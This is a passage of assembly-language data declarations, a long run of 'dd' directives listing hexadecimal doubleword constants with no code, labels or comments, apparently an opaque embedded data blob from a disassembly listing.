dd 7F257C7Bh, 0EE92960h, 0F42FCF94h, 93E9782Fh, 5722646Ah dd 303ED5E6h, 0BD100346h, 761E29D1h, 0D4C94519h, 8D69D9EDh dd 82D91304h, 0E260E544h, 20E88776h, 6158B0Eh, 0BF060722h dd 87096AD8h, 7C0A4C3Ch, 45240071h, 0D189EF20h, 4AD65A52h dd 0A29083A2h, 0D11F6505h, 59130B27h, 0C33E8A1h, 0D2E5EB54h dd 0AAD2C68h, 0F01D040Fh, 370264CCh, 0F5681B2Eh, 89C8D907h dd 0B65CCACEh, 682F84E9h, 21FA9C16h, 505300F3h, 0EE6250B0h dd 9B4406Fh, 67F0DEB0h, 5627549Eh, 4B591E67h, 9D7EB0C4h dd 0D32FAB82h, 3AD07055h, 71311418h, 0FCBC400Ch, 0FD0C8938h dd 3AEE015Fh, 6B04805Dh, 97D25E98h, 116B46FEh, 1CB59C0Dh dd 0B6A6257Ah, 0C462045Eh, 0AA8009A1h, 265935C8h, 123074B6h dd 0B72E3BD1h, 0EA12ADC0h, 299D3304h, 47BB59CEh, 8736EE16h dd 0F4689764h, 5AB9E337h, 58F46D22h, 0BC5C5F4Ah, 0B78864DFh dd 71E5E54Eh, 0C030EB73h, 711E68EFh, 0B850020Ah, 2B385413h dd 1EA6C184h, 3DAB5F12h, 46452ECAh, 2ECD68BCh, 8C2C6C78h dd 0E0B20873h, 548D963Ah, 9D9701E2h, 6FCB2BEAh, 0F02E3741h dd 8A4A44ADh, 167632B3h, 0CB16FC26h, 0BEE384Ch, 76F5CCDCh dd 823092C6h, 1657548Bh, 75BB7A7h, 0D410DEACh, 3DFD662Eh dd 0E50AC27Bh, 0A6225449h, 1BC5016Fh, 97006D25h, 0D258EDADh dd 0D028EF09h, 2E3AACC5h, 510EE680h, 5F2CA4B1h, 25301DAAh dd 0BD01B5FEh, 0B719E93Dh, 2D09A67Ah, 89CA8967h, 58351CD5h dd 4C1EDC55h, 1271373h, 825B925Ch, 0F7832067h, 23103109h dd 506B8629h, 2C16752Ch, 54E3F90h, 4EED103h, 840721A1h dd 9FA15FAEh, 1DE985E0h, 92A46788h, 3E518049h, 6AF4FFA0h dd 0BFDC7A82h, 4D098444h, 57533D6Ch, 6C7DCA92h, 21664E95h dd 4953708Eh, 0BFC13F2Dh, 0D1000D67h, 0D05839EAh, 8D821024h dd 2047C707h, 3809A014h, 0C1EE6FD1h, 464677Ah, 0D8BE0609h dd 7E40C46Dh, 6F479D5Dh, 0DD6FD21Ah, 0EC23D62h, 0B2CD44F7h dd 47CF0715h, 6F289453h, 0F7D3DBE1h, 12B138FAh, 0E8B867D5h dd 0AE2DEE97h, 2933D2F6h, 9A9A52F9h, 0FA720631h, 97B22BF9h dd 0EC5ADD90h, 0B5A35FDCh, 0BE6C8116h, 65A1EF34h, 0D057A36Bh dd 5FBF8BCDh, 0AFE90FA1h, 0C450380Dh, 0DCAFE7ADh, 0C2B15CC2h dd 0D673DA8Bh, 0B738D2D6h, 2180973Eh, 0E2584AC3h, 2AAD4AE3h dd 65F38101h, 322C2008h, 0BAAB1263h, 896C5A3h, 0AA3A5709h dd 0BF009F5Ah, 277D139Dh, 994A0968h, 8260A628h, 8E656DDh dd 2EDF885h, 596EE907h, 14B745E6h, 0DCE9309Bh, 61C9BF6Dh dd 0F834642Fh, 5F85FA61h, 94A2A310h, 0AFC0E42Ah, 6D9279Dh dd 0BFE94130h, 0E4E158D0h, 0A0902C5Bh, 1C90812Dh, 0D8575BC7h dd 650F1F79h, 89434A64h, 0E30BA0C3h, 4EF36BABh, 0F848189h dd 0A79F3C7Bh, 0AB6EEBCFh, 28B965D2h, 0B98E5B48h, 13C990CCh dd 2DFA1C8Bh, 0BE303ACEh, 0BC259268h, 0DE034BD3h, 85765CA0h dd 0F402A38h, 0A9CE212Eh, 5A32D04Bh, 5FDCA046h, 52484C1Fh dd 71E51049h, 0C9E69846h, 4741F868h, 0C6F7EAEBh, 49A1F00Bh dd 513809CFh, 8C4A88C1h, 685E0391h, 3D3C1266h, 50E741C0h dd 4F36C3C5h, 4221D951h, 8801D2E3h, 8159387Fh, 0E435B82Ah dd 5DB44BEEh, 50488758h, 133101DDh, 0EF834BE7h, 3005296Ch dd 0D135FD2Dh, 0E29A7EE8h, 0C22F445Eh, 0E7634BBCh, 1310F767h dd 58890C2Ah, 0A84450F8h, 4BA01B0h, 80F12C25h, 0C383FFEBh dd 66A92EAFh, 7D7A105Eh, 30DF0B89h, 97A44880h, 47D10333h dd 77D26A6Ch, 15FFC4Ch, 0F53DEFBAh, 5E468255h, 0C0525448h dd 7865A5A1h, 17E91243h, 0DCD3AC7Bh, 0D904DE97h, 0FE00D177h dd 11F480CCh, 12E3203Eh, 12ADACEBh, 75A0A91Ah, 0F0BFB22Dh dd 429651CFh, 0B0C4F82h dd 73274032h, 3BD901DEh, 2959CD31h, 52DA41E8h, 3CFD7250h dd 30869268h, 55C29C80h, 811D13C7h, 259D04CAh, 0ACBFB462h dd 976BAD02h, 85BFAEE9h, 0D8F1A27Dh, 25E96754h, 0B5D4D1A5h dd 53081E1h, 0F971E98h, 3FF9092Ah, 0B328F050h, 62A0D165h dd 301E5BDAh, 0ED425AD5h, 51E8282Fh, 815344C9h, 79D3A63h dd 0EF725667h, 97405E86h, 7720EEDEh, 1730635h, 0E1056190h dd 2E553815h, 65401A1Fh, 0E92E10FBh, 1C0095C9h, 873862D1h dd 45666A73h, 1F14C109h, 83428107h, 0C376C4E1h, 0A41F16BEh dd 0FFCF3B49h, 2CFCD64Ah, 7538B01h, 80C3B84Ch, 6621050Bh dd 482913A5h, 970B0ED0h, 4FF40475h, 0EE3FB604h, 0F1F57180h dd 21D92662h, 0B72504C7h, 8A028191h, 90DF6CF3h, 762204F9h dd 9FB6D71h, 30D70178h, 5EEF122h, 510AB7CCh, 0B9A02C5Dh dd 353C9809h, 76C9803Bh, 300A4A39h, 0CEC0D1F7h, 605E1C73h dd 5E9C202h, 0F2D55A67h, 0CF58B744h, 52BFF224h, 1A88A42h dd 34207D68h, 0C6F5827h, 7ECF4B0Ah, 45B46054h, 0C695E508h dd 0CD803195h, 2F0C9CBCh, 899F0BA3h, 0ECF9EE43h, 16C2FC88h dd 0A245FC5Eh, 85A35957h, 0BCD4685Ah, 1809D267h, 0C2507E78h dd 0F620B59Ch, 5C9076DAh, 0DB6B7877h, 46117BFCh, 0CBED004Ah dd 293AB462h, 0AA0A8B1h, 169D8B5h, 197D4036h, 3FBE15E9h dd 267983B3h, 88CDCD53h, 0B8014E84h, 49711CEDh, 41081A30h dd 0FAD16A5Bh, 5F00EC4Bh, 8172EB01h, 0A71E1809h, 43FA711Dh dd 225EC301h, 3681EAD4h, 746F9CA7h, 0A79FBBDFh, 0F22EA741h dd 4950D969h, 6866A182h, 0D87E0763h, 0F6FD8881h, 0E8D550D5h dd 0C280846Bh, 0D7097E9Fh, 0D3798502h, 77EC106h, 0BD43930Dh dd 0A4116019h, 0F095E642h, 4AF0BF11h, 4DAC7A1Bh, 1B64F00Ch dd 83A8952Bh, 120C3408h, 78770C14h, 295E66EDh, 1C429B8h dd 0B9E9024Ch, 0B7987D90h, 33C1A126h, 45B15152h, 0BD0E1CE8h dd 0E5F1CDE4h, 0D9B92C57h, 20B2021Ch, 3AD75210h, 0C8C3B4h dd 838B789h, 805B66FAh, 2596CA3Fh, 0DFF142EEh, 2921B884h dd 0C03C24B0h, 1BF007E2h, 80BB00BFh, 4E28AAF1h, 7F0DA2C8h dd 7DBE82Ch, 807AB180h, 66FE94E1h, 34880AC1h, 1192087Bh dd 0F6C13698h, 58E32859h, 5EA76D60h, 30A48956h, 2EB4DDFCh dd 14C89FC5h, 69C041DAh, 0CEBD4B2Eh, 7C2D6809h, 4586755h dd 0BD6ED1E9h, 59C9DE4Eh, 90C4C461h, 311217CDh, 0B3FC04C8h dd 0BDB700CBh, 0F401EF80h, 47FE62C4h, 5E250268h, 0FEDC12BBh dd 0F22EC769h, 983E108Ch, 0B2B0FC4Ah, 0E06810EFh, 64775E95h dd 0F6CFEFCEh, 37129142h, 9274AD09h, 5BCB83D8h, 92ED376Dh dd 0AD64E2DEh, 0D760030Bh, 9D02F572h, 65AEA81h, 0F27E68B7h dd 7FF612CAh, 0B186016Eh, 7B44665Ah, 0F252F40Eh, 0E9566CFAh dd 61F1D04Fh, 9218F0Eh, 18544F08h, 4E998259h, 0D4762725h dd 6A08A093h, 15A4A65Eh, 14FD12Bh, 0DCF9C8A9h, 99C72ECEh dd 88A5D68Bh, 133D486Dh, 23ABA363h, 0BA8501E7h, 450EFCEh dd 6F819D02h, 6E3A0650h, 3BB5FA1Dh, 91694BAh, 0B07D99A2h dd 824BDC74h, 7F8876C0h, 0D02DEB2Dh, 4891BE6Eh, 0B25A129Bh dd 9688DE3h, 811C9493h, 2EC386DFh, 9317A7A3h, 0E83DFEB0h dd 0D7982C3Bh, 0D441C841h, 0AD017C5Fh, 38332B55h, 0AA43D9B9h dd 0BC9FD60h, 45E64EBCh, 1609CF00h, 0E92A0D44h, 31509EF7h dd 0E840A1F9h, 0B7A3A4BDh, 0B7034164h, 894D1BB2h, 98C958DAh dd 0BD6CF616h, 0F501C901h, 2BF7B92Bh, 0C053D415h, 96C47D9h dd 6852551Dh, 3A924E41h, 0A17E4A5Ah, 5F0B4060h, 89E2BE31h dd 0A111DFB6h, 42FEB527h, 0FE070118h, 0FEBB8CDh, 59EE28B3h dd 19F6C7h, 0B9B5E9F3h, 0A1203899h, 4FE9CEBDh, 2DE6A251h dd 57B9E159h, 0F414D68Bh, 0AA8C05E4h, 7D186813h, 62804837h dd 4B276F5Dh, 4631B058h, 0C1644427h, 0D9CA05F4h, 0CEA68853h dd 729DF280h, 7D2160BBh, 94234ED7h, 4FCDFCC6h, 9CC03CC8h dd 4D85A2E8h, 563FA3F7h, 0AD6FCD17h, 780B6962h, 0D20C2CC4h dd 0D56BF4h, 5B0F8FE5h, 92AEFE1Eh, 1A2D05ECh, 0EB7E9D79h dd 702A184h, 83D810E9h, 0D2DA0354h, 0F944DD97h, 217CE931h dd 97205F54h, 574082DBh, 114EA075h, 0C1103EF6h, 675D2561h dd 9851A5F7h, 8820C06Bh, 0C6E924C2h, 0E5C086FBh, 65A0604h dd 540347A9h, 0CCB45066h, 9D7FE87h, 0F625C0Dh, 29C0B177h dd 2DF7A07Fh, 1D157B02h, 6C49F1E9h, 0E677A49Fh, 483E05EFh dd 0B482E903h, 0F297EEAEh, 2D08B025h, 0AC7305BEh, 1F4A6E08h dd 510ACBC1h, 25650491h, 0F45B395Eh, 0BE1556AFh, 81AE0134h dd 6D716C87h, 380BD648h, 69025C64h, 490AA1FFh, 43E6E571h dd 0CE16F048h, 4DE9126Bh, 5E25A7A1h, 2E48A1BDh, 0D28BB65Ah dd 36099A1Ch, 0C51A8209h, 586644Ch, 2EA44FEBh, 6DFAE047h dd 31B15010h, 0BF786E04h, 118FAF5h, 5C7FD2BCh, 9218EFFCh dd 0EF5AC751h, 54C4DA8Bh, 49E9E236h, 21F9BD6Bh, 0DBE32B79h dd 658A5313h, 0FD8382D3h, 63B56BE1h, 2FCA4CFFh, 6F7003F7h dd 0B24D165Ch, 5160BB1Fh, 37E9D828h, 52224DA0h, 0B16A48E3h dd 145D67A9h, 0CA8F3AAh, 0B4A120C4h, 92432C3Bh, 8EBB6DA5h dd 78B717D5h, 2C262EB4h, 2743DD07h, 9CBA2282h, 8002B200h dd 0F8A94BE2h, 0D2F6182Ch, 20E92EDCh, 2EE758F9h, 264C35CAh dd 0B6E1D125h, 9398CDE9h, 0CB8055C1h, 9C4A3627h, 817225C5h dd 337D310Eh, 0B7E2C030h, 0B0705D79h, 762D76BBh, 0F852D259h dd 0E9CE1724h, 78FC8917h, 0FC7B16F5h, 837D84B1h, 3D0D6802h dd 36C2B59Bh, 0CFE9A068h, 1024BE4Ah, 6A126282h, 0B6E5572Ch dd 9D482E6Ch, 9D4F07F1h, 76EA14BFh, 2DB9F94h, 3C25489Ch dd 3F611372h, 4FB3EC6Fh, 0FF5058A6h, 2861255Dh, 17F7D5C0h dd 0CA13572Fh, 7F080A69h, 1CC21420h, 0D2E497E9h, 12504A87h dd 85FDFDADh, 2ACD5BD8h, 0F26A54D9h, 47A78404h, 3B2229ABh dd 16295C52h, 0B6DB3F41h, 0FE596600h, 3B90C54Ch, 51538108h dd 0EF88F3B5h, 824B3970h, 4001DF70h, 657A2D48h, 8FFD4EBFh dd 0B5BD2274h, 0C8B79E6Eh, 0BA32E9BDh, 42C700CCh, 0AE0AB338h dd 5A77F73Ch, 9DEB89FEh, 32BCCD61h, 20049C5Dh, 3B6CA72Dh dd 5725417Dh, 60EC51ACh, 1DF3685Eh, 7CD86697h, 0D08181EAh dd 0EC1ED23Ah, 8AE60153h, 48288310h, 0B05CB2EEh, 8B50971Bh dd 62E4F07Bh, 6F3623BDh, 0C9E13D9Dh, 4521892h, 0EB779C38h dd 0A8C1F531h, 40F50848h, 9C0CB25Ch, 34EBC280h, 0D9218064h dd 0CE6C54B6h, 0AB732EE7h, 46E601B2h, 3129A777h, 0E064F019h dd 0EEC1100Fh, 4414B802h, 9FED735Eh, 494847D8h, 300E1C15h dd 5B5C1698h, 7FE92550h, 0EA7CFF42h, 389D0140h, 0D7295E79h dd 94F1A0A6h, 0F8BF21C3h, 0FCBC2A32h, 9B6E8963h, 4EBCB900h dd 813F17EEh, 0EA728BF1h, 25FD701Dh, 0F570DD01h, 0B13EC3Dh dd 70CF8715h, 25E9E8D5h, 7871A98Dh, 6E7BC189h, 0F85C5F00h dd 62ABE53Eh, 5260CA27h, 5281726Bh, 8542EC88h, 69086805h dd 1B106EE6h, 0B1BF027Eh, 0FF125F22h, 9B788048h, 0BD7479Fh dd 7825150h, 0C7575E5Dh, 69D92529h, 626B020h, 0E810FC53h dd 0DF78592Fh, 2A601695h, 2CC40E9h, 13F8B850h, 0B2602659h dd 6D5C14D5h, 468C12DCh, 0EC2C75ABh, 4C5730DBh, 12F00ABAh dd 4EF8976h, 0EECD4B51h, 6E3FE830h, 27367D92h, 0AEC97FA8h dd 5B0BD67Ch, 88482DDAh dd 0EB124A05h, 0A0A05243h, 34E92C5Ah, 6B56A52Bh, 0B76C0E2h dd 0A49683F5h, 87BAA52Ah, 0A44D8735h, 2CCAC45h, 73E96869h dd 6FBA5F6Ah, 555BC255h, 5381FD47h, 5051D788h, 0EE52FCD0h dd 96F5F2E6h, 0D5515267h, 876C8840h, 81EA9501h, 99432540h dd 0C608AF99h, 0CCBF0748h, 0AB019502h, 92BADD85h, 29CEC4h dd 748F0861h, 12A1B68h, 44E2107Ch, 16FE0C92h, 94050B2Dh dd 4A9FFC4Bh, 0DB22BE9Bh, 5BFE525Ch, 0C25EB8D7h, 94F4E1E9h dd 483490FAh, 0C1846DDCh, 0DDB83236h, 9A4366A9h, 62EE81B9h dd 44F66318h, 0EA99039Eh, 3B6F592Ah, 75522FD9h, 0E7887D9Ah dd 276C5BFBh, 0F2E9CEB8h, 0ECECB24Fh, 87244F9Dh, 8AE82365h dd 84BB584Dh, 5AF34FA7h, 0A1F2E893h, 5207EB31h, 81A2443Ch dd 0A2305A07h, 13162FB3h, 58D42A60h, 0A18F5582h, 6A39200Dh dd 0A80D9024h, 0D847A19Bh, 591C576h, 5F0C46E5h, 90E3034Dh dd 0F48562FCh, 925A9157h, 222AE9C9h, 0B45C55AFh, 69C95D96h dd 50EA4F05h, 0EB04C06Ah, 0B556DB65h, 49080624h, 0C972E914h dd 5A52A68Dh, 0CD8EA9AEh, 0AD13D726h, 9CD83ED2h, 6743A917h dd 8E2D92EFh, 1D9BA1A6h, 0CB7D4498h, 0D5C5A34Eh, 6C2DE1CBh dd 59651F74h, 0AFC316FBh, 89A12F53h, 0C65EC502h, 478F14B6h dd 8D138220h, 3EEA8D7Dh, 57E7E632h, 777AF1D9h, 53153903h dd 0C83139E0h, 4BB96C9Dh, 68B34EC3h, 898E212Ah, 66D3EE13h dd 0E618D4A4h, 2DDFED17h, 7574D06Ah, 0CEF159A5h, 298DB983h dd 70CB01C1h, 0B75B0F8Dh, 4332FBF0h, 42EF121Ah, 56CEA2B8h dd 825AD33Eh, 5B9A2192h, 78D882D5h, 9177295Bh, 47205C36h dd 1B5D6B99h, 0A862BA02h, 0BB0498C6h, 1EE73C9Bh, 0DF5C6BFh dd 7F3EFC98h, 7C3FAD26h, 0CEEF81E3h, 0A0653242h, 880B312h dd 37B41DE9h, 0FC554D0Eh, 0C34210E6h, 0C3CEFF02h, 1FB92F30h dd 1674FCF2h, 0D74A6E16h, 3F85A007h, 0E97C7C3Ch, 2ABCCA9Fh dd 67105CFBh, 85B2520Fh, 0D3866D05h, 84E7C72Bh, 46DCB025h dd 84B8899Fh, 80006BE0h, 58660EEBh, 8F202B9Ah, 0B53A5404h dd 0E4FD5001h, 0CE121683h, 10998B57h, 0DD58082Eh, 9C5DCD25h dd 0DD6818F8h, 0B525290Dh, 9F852B94h, 80BE8438h, 719A289h dd 3EBB6D5Ch, 613B8CCEh, 0F6501A6Eh, 0BA6B4CB3h, 48C9A701h dd 2F09E93Dh, 0E02D860Fh, 0F742E85Eh, 0A2D175D8h, 0F158CAA8h dd 0D1309665h, 341CA74h, 9744B152h, 0DDED722Eh, 0FAC4E42Fh dd 5E7A2AF5h, 0E538C9BBh, 0AC8A46F9h, 5E960850h, 4A85CCA0h dd 40B2E563h, 8BE6E10Dh, 0F4A92C51h, 52E3370Ch, 888C5B1h dd 8B2ACB1h, 5E12A39Ah, 18864AB9h, 0EA0E938Ch, 337D7FF3h dd 0BE8B1452h, 3117D646h, 704AFAC3h, 0B3A88149h, 16830B5Ch dd 61EA80CDh, 0F0F18905h, 0CD979371h, 481410D7h, 3DAA1652h dd 0C5F33134h, 0B59C50h, 0B952064Fh, 0D854DF95h, 47FBE917h dd 0EE859727h, 8941C88Dh, 58005D50h, 0D509F681h, 206E1Ch dd 8903D207h, 0EEC13A76h, 0EC09CDD0h, 29B3051Ch, 0F063E9F7h dd 0FAB50535h, 444B9004h, 0E0AF79Bh, 0CA182855h, 46AED02h dd 2315E05h, 276D8FBCh, 55426ACAh, 26FFC7D5h, 0D424CEh dd 59805B3Fh, 7B9481E9h, 17AB5A17h, 3601EB2Dh, 3F177F38h dd 0CFEEA03Ah, 487DA43Ah, 6B3B1BE3h, 6921B131h, 7344A32Ah dd 3AB2DA5Fh, 0CFE18102h, 8B8DEF12h, 444C7A82h, 4BCE3ED3h dd 106BF3D8h, 5C26813Ah, 2CC817A4h, 969F553Ch, 5D770030h dd 0E9471346h, 0FAAB51D6h, 949FB5A3h, 2E9389C1h, 0E0E82FF5h dd 7A6697A2h, 6567DF2Dh, 0FBA40CBDh, 0AB480F4Dh, 400984C1h dd 8D32A417h, 0BC01D640h, 67FD3CF4h, 72C713B7h, 0E4F49E1Fh dd 0AE7BF14Bh, 0E55827CBh, 9E5BE79Dh, 0CD79B1D2h, 60A0493Fh dd 529DEA0Eh, 0A253A0AFh, 3C12751h, 0AA089454h, 8A54124Ah dd 9064D7Ch, 8133B05Dh, 656C8DE9h, 0BED90471h, 52C1FE00h dd 2645B63Dh, 589447EEh, 98EAB5BDh, 0EF923F23h, 53BCE0BDh dd 2D49ACAh, 0CCFE0CECh, 0C784DCF6h, 57D941B1h, 0A42E4D19h dd 0A50531F3h, 0DF299586h, 4A0962E8h, 1E02126Dh, 5901D861h dd 0B73E3C87h, 0D33C8B64h, 43096958h, 523853FEh, 3F01AB01h dd 38060CD9h, 9F08885Bh, 48900C4Dh, 60806119h, 278C8268h dd 773EA808h, 0F04C180Dh, 8033F110h, 0DB80D142h, 0BDCA8032h dd 801EEF80h, 0B88063F8h, 6208C4B1h, 8845066Bh, 79D23120h dd 98D3C308h, 0F6792B18h, 49BE83B7h, 31B6A320h, 34106CFEh dd 7E088C74h, 635A1872h, 5B5008DEh, 610F1818h, 0C677DB08h dd 84AE518h, 73E15C63h, 537120BCh, 62C06A20h, 9BA7965h dd 2C94902h, 460312A4h, 81018C2h, 952008D7h, 826618C6h dd 93042008h, 31682620h, 0D5285275h, 0B3088CCAh, 0C6B2C120h dd 86F7610h, 314BC620h, 9E2010F9h, 4CDC01D8h, 166E001h dd 19019C23h, 0EA08883Eh, 6798080Bh, 28C1F30Ch, 8FA66BEh dd 0D131C936h, 0ABD90807h, 693A1889h, 18720026h, 8186C733h dd 3C082A7Ch, 764B20C4h, 8E49431h, 7D01971Bh, 0FFC3017Bh dd 488E9203h, 20983020h, 6C208E5Bh, 0ECAE2088h, 286AE234h dd 3208B886h, 3E189CD7h, 45A6F4A3h, 0EAC10819h, 8C51B418h dd 88856CDh, 1008F8C4h, 594F0C95h, 9A653730h, 0EC444808h dd 5206FED0h, 53E1185Ah, 112AAB80h, 2931E895h, 0E66A088Bh dd 9919308Ch, 7A406608h, 96440D9h, 6B282E66h, 333120C9h dd 58BF7024h, 1F1BE790h, 39D608B4h, 84E9331h, 9002CE67h dd 5CD880A7h, 0AD8045C9h, 9908C682h, 7831203Dh, 0E0330839h dd 81711024h, 0CBB824A7h, 0B6085763h, 45283148h, 3A3A959h dd 0F0712AC8h, 58322AD4h, 107062B0h, 0A5025F42h, 62244925h dd 0DC7518A8h, 18231808h, 8C94EAFh, 7F782699h, 96C720F9h dd 2153D937h, 6B0F0848h, 0CE8EF08h, 3008A8C4h, 0F2183163h dd 0B9081057h, 95A71038h, 28809D19h, 21C188BBh, 29441973h dd 35E42425h, 664AD340h, 0A953185Ch, 1034B14Dh, 7110984Ch dd 0C4BC2A66h, 2487C420h, 98B0309Eh, 91810819h, 0DFD318C5h dd 18FCC448h, 8F69798Ch, 9C6008C7h, 0A4C9E8D4h, 3D5D063Ah dd 8B5F2E43h, 605573E0h, 473B1040h, 20C752Ch, 0E8913EBh dd 3DA76FB9h, 44010540h, 4902408Fh, 0F775C90Bh, 8FC9C38Bh dd 0F003DE40h, 592397B9h, 0FC0C033h, 306B4FB1h, 959D702Ch dd 54F2BDD6h, 0A1688F0h, 0B7091C9Fh, 30E8CC79h, 0BA0A587Dh dd 8A333225h, 5B20143Eh, 7AF3B580h, 685EC291h, 602A40CDh dd 0E953576Ah, 184E3931h, 0F7F48BB0h, 0F1C11C80h, 0DD16FF28h dd 0E90BD90h, 5E995837h, 6634C5CCh, 0D1E32780h, 9A3DF47Ch dd 0C0164EBBh, 772CEC6h, 685F2141h, 0C5B05B62h, 0F75C6AB4h dd 0E3EF02E4h, 80761258h, 4A074287h, 0F10CC141h, 71F9D0E6h dd 3BC82C53h, 3B038F68h, 23E34601h, 4AC2176Bh, 0C9DA1EDEh dd 0B75EEF15h, 0E5550D80h, 0E2812Dh, 6110235Bh, 78E9F287h dd 2DF87A5Bh, 4089BEB5h, 17BF67Eh, 45AFBF57h, 952814AAh dd 25168A0h, 583CC413h, 138FF8B4h, 0BF77FD50h, 0C22C2C36h dd 5207E822h, 0B02A184h, 0DFE4B25Ah, 749E656Eh, 20FEE108h dd 0E1B75ED6h, 0ABE23F13h, 5448EDC6h, 81465E07h, 8E5990EEh dd 0DDC6C0B1h, 0BDD1E5ECh, 0C53130FAh, 5B542C1Bh, 7402A02Ah dd 0BE59E495h, 5BDEC216h, 0E9187470h, 0C781EAFDh, 72381B68h dd 0D7E02E46h, 0CCBA0269h dd 16B568BDh, 0F6D4A842h, 0B0731837h, 564D9D5Dh, 7C2F492Fh dd 8D82A762h, 46D7F23Ah, 0A9504EA1h, 96E5F4EDh, 31712C2Ah dd 6EE11790h, 5DF042D9h, 5B22C494h, 1824BD58h, 0C2D909B2h dd 0B8BA0208h, 222368D4h, 0AF61C0F6h, 17B8D10h, 0B720C909h dd 4CC07F61h, 0D21956E9h, 98DFA02Ch, 48A3A74Ah, 108B7918h dd 0BC5FED80h, 508A02BDh, 0AC3018ECh, 2C1266BEh, 48376EAFh dd 9DFCE0F5h, 50810E48h, 3810C468h, 0B5518052h, 0FA64B282h dd 1C5B4D9Ch, 0C7FE7880h, 289AF7E9h, 9E67BF38h, 48D3A43h dd 0F9C97829h, 9DE7B20h, 5F10D007h, 0D88C3874h, 5EEB2314h dd 46E85Dh, 10916852h, 955A3F5Eh, 0C9E90901h, 0F860AF39h dd 0FCA0C55h, 856421F3h, 9DC3449Dh, 8D684768h, 50EC5853h dd 8469D48Bh, 59945F12h, 0BF9DEC97h, 0B3ADDBD9h, 0F417B40Dh dd 0D627F735h, 0AD6AC552h, 0B302FDBAh, 8A483656h, 92246859h dd 0D69A2403h, 0BC87DE97h, 0FFA23B92h, 0D682870h, 9FBCA644h dd 585445B0h, 0B9ABF86h, 686E9F81h, 602DC9B4h, 45059711h dd 14193E9h, 0AB2ECCABh, 0B8121D60h, 74556548h, 22050B52h dd 6D82D3FCh, 0CC4058C7h, 0F6EF9C25h, 5102FBF6h, 0FC4845E9h dd 7C7F8396h, 0C043385h, 84B45482h, 0CE2FD1BEh, 0E9D13FBEh dd 316FE617h, 32BC956Fh, 0B9899F3Dh, 6BE27B02h, 69D396D7h dd 0F4F42966h, 0A0F3E941h, 3A71E004h, 4B8A8497h, 0C33280BFh dd 3BEE2B85h, 9C872BDh, 0FE6858A1h, 0DA544FABh, 507EE9F0h dd 77209D3Fh, 0DF33F0F3h, 0F6067D1Eh, 24AF34D0h, 0C9E181E3h dd 2C1F5470h, 0E87AE3DBh, 7789BEDFh, 2BC135C8h, 31FFC4Ah dd 204B2705h, 9ADDAB16h, 0BAE84030h, 0D93112B7h, 6C02FE2Ah dd 812DE829h, 3C4AE90Ah, 74DA8B35h, 3B73EBBDh, 0E9043344h dd 0AE5FD4F9h, 0F342AF39h, 5A6600ABh, 734AC980h, 0DD6B96A1h dd 192667FEh, 58943DF5h, 170DF22Bh, 86128E75h, 0D02714EEh dd 500A4310h, 0BD70FD16h, 0A29868E1h, 222CA5BAh, 27B09850h dd 547191FBh, 0F6B94D20h, 78E32A19h, 250DD4B5h, 262A7A48h dd 0D4F70593h, 9574D28Bh, 0B1C3FC2Ch, 71527E17h, 161D250h dd 28826F9Fh, 8B9BF281h, 0D80EE90Dh, 9559B544h, 39E068C8h dd 1D36D464h, 32BEE94Ah, 9481C01Ch, 0CC27F580h, 3C9810CDh dd 0FEA8A65Bh, 86ADFDA5h, 1DB8BE9h, 0C680D6F6h, 20F32851h dd 0D74055BAh, 88521250h, 4CBB09FAh, 0FBB6BA7Dh, 12030C6Dh dd 7400C117h, 5FDF37Bh, 136A523Eh, 10C80162h, 0E90B0831h dd 32078E5h, 724E07AFh, 20C49EDFh, 5AF44CAh, 0B0752B86h dd 54052C19h, 5D57428Eh, 453AE981h, 30F9CA2Fh, 63A8EE44h dd 0B76E5F68h, 5B0C4033h, 3853E915h, 4C4458ADh, 50EE2FC9h dd 91B9AE3h, 2FD706BDh, 0A81F5E8Fh, 16149108h, 28ACA00Bh dd 3D80F13Ch, 1A4B1083h, 0CE5BB248h, 0FE90CD6h, 7421649h dd 594FBE56h, 0EF0904ADh, 19687546h, 0EA299D58h, 0E9626653h dd 77DFEA20h, 0D2473BE8h, 6946D195h, 57F78B7Dh, 6817B516h dd 38AF0907h, 0E2949571h, 3A7A26h, 5537805Dh, 0F41A28BDh dd 56296E35h, 496C16Dh, 7F7F8B0Bh, 0B862F104h, 81BFBA4Fh dd 2FCB986Dh, 0FD54D0D2h, 68156D6Eh, 784A7C4Eh, 6570CA09h dd 0AD3CF164h, 0DE005C50h, 495EEB78h, 0C105E9C1h, 0D417EA8Ah dd 0B70C8325h, 0F7E888C5h, 38F0F26h, 957F20EBh, 759A6801h dd 216499B0h, 11BC40E2h, 37D2A528h, 0D84D72EFh, 5D5EEDCAh dd 7E09B602h, 4C0FD18h, 5197E931h, 1E5A4D9h, 19490ADBh dd 7FE850D1h, 5A0E5E12h, 8EE9CB09h, 0DEEE1285h, 0DE90C4Dh dd 49F71C8Dh, 3D13BFDEh, 0F2550922h, 5ACAB06Ah, 928D4DD7h dd 12091C17h, 0BBD4B45Bh, 0BA123A60h, 779F13D1h, 0FAF3EB06h dd 8AEE7F52h, 0E90B3447h, 9A291BA1h, 309895Ch, 7912FDF9h dd 0E5A032CCh, 28012567h, 0E9D72911h, 8B2A2E30h, 4893D263h dd 0AA68905Bh, 0C7E91C7Eh, 0F95F383Bh, 15049F79h, 74BE0103h dd 967FFCD2h, 812B06C9h, 81D4F454h, 359ABA48h, 0B06E68F7h dd 0BE307AD1h, 64B0B848h, 2138096Eh, 9C7E5FFAh, 0AAB6C281h dd 0DCDD3A84h, 0DA8AD6E5h, 2D072DD0h, 845A2ED4h, 0B7C7535Dh dd 9584D799h, 0B5FB905Ch, 0EC7988ADh, 0E32FA82Eh, 23170D69h dd 1F9312ACh, 0E9DD4255h, 0C577BFB8h, 0F15C45EAh, 55B41398h dd 0ABBFB1h, 2E5A50BBh, 407264A8h, 7E389E96h, 8218DE97h dd 8CC22740h, 40649A5Dh, 422E205h, 8E97564h, 6FD3B207h dd 77B36729h, 0F7AC0B0Eh, 0B1090016h, 42D3E92Eh, 5BA2DD27h dd 2909F7AEh, 0E544775Ah, 0E3B237FCh, 0F82FB4B3h, 3A583E89h dd 0BB0597D2h, 833360DBh, 6BA8E3E8h, 0F3EC3FC0h, 0EA3C1202h dd 57DA8938h, 0E28158C5h, 12944752h, 11FC022Ah, 22DED025h dd 493CDFC0h, 95C5B551h, 71261580h, 98F1011Fh, 0CB5F31C9h dd 0DCB0ED5Bh, 0EAB76E4Dh, 0C080C9Eh, 7078099Ch, 2F595B0Fh dd 0E3687549h, 0DA95F068h, 2777271Bh, 5CE45E7Bh, 0E9CE49A3h dd 0B057F009h, 2B2FCE5Fh, 9C175811h, 0AC4A0A35h, 25D60AEAh dd 0C9E09DB5h, 0E5A0DF2Eh, 